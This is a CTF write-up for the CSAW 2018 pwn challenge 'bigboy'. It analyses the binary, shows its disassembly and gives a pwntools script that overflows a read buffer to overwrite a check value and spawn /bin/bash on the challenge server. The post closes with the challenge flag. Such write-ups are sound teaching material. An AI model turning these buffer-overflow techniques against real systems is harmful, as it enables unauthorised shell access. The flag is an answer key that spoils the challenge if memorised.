

CSAW CTF 2018

Problem: bigboy (25, Pwn)

Only big boi pwners will get this one!

nc pwn.chal.csaw.io 9000

Solution:

After downloading the file provided, I first examine it using the **file** command:

```
❄ file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
```

It is 64-bit LSB ELF executable and not stripped. I then run the **strings** command on the file:

```
system
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-P
AWAVA
AUATL
[]A\A]A^A_
Are you a big boiiiiii??
/bin/bash
/bin/date
```

The file contains the strings **system** and **/bin/bash**, which means it may require a ROP technique. I then use the **checksec** command on the file and find that the file has a stack canary and NX enabled:

```
❄ checksec boi
[*] '/mnt/hgfs/ubuntu-shared/ctf/csaw18/boii/boi'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE
```

[illegible]

```

; "Are you a big boiiiii??"
mov edi, str.Are_you_a_big_boiiiii
; int puts(const char *s)
call sym.imp.puts;[ga]
lea rax, [local_30h]
; 24
mov edx, 0x18
mov rsi, rax
mov edi, 0
; ssize_t read(int fd, void *buf, size_t nbyte)
call sym.imp.read;[gb]
mov eax, dword [local_1ch]
cmp eax, 0xcaf3baee
jne 0x4006bb;[gc]

```

Control flow graph showing a jump from 0x4006af to 0x4006bb based on the condition `jne 0x4006bb;[gc]`.

```

graph TD
    0x4006af[0x4006af [gg]] -- "jne 0x4006bb;[gc]" --> 0x4006bb[0x4006bb [gc]]
    0x4006bb -- "jmp 0x4006c5;[gf]" --> 0x4006c5[0x4006c5 [gf]]

```

0x4006af [gg]

```

; 0x40077c
; "/bin/bash"
mov edi, str.bin_bash
call sym.run_cmd;[ge]
jmp 0x4006c5;[gf]

```

0x4006bb [gc]

```

; CODE XREF from main (0x4006ad)
; 0x400786
; "/bin/date"
mov edi, str.bin_date
call sym.run_cmd;[ge]

```

$$0x1c - 0x4 = 0x18$$

Therefore, it is possible to overwrite the 4-byte jump check value to `0xcaf3baee` which will make the program jump to the left block and provide a shell as it calls the `system` function with the `/bin/bash` as the argument. The following python3 script gives the flag:

```
from pwn import *
from binascii import *

def get_flag():
    context.arch = "amd64"
    local = False
    if local:
        c = process("./boi")
    else:
        c = remote("pwn.chal.csaw.io", 9000)
    o = c.recvline() # recv the "Are you a big boiiii?"
    print("Received: ", o)
    dist_to_local = 0x30 - 0x1c
    local = 0xcaf3baee
    buf = b"A" * (dist_to_local) + pack(local)
    c.sendline(buf)
    o = c.recv(4096)
    print("Received final: ", o)
    c.interactive()

if __name__ == "__main__":
    get_flag()
```

Flag:

`flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}`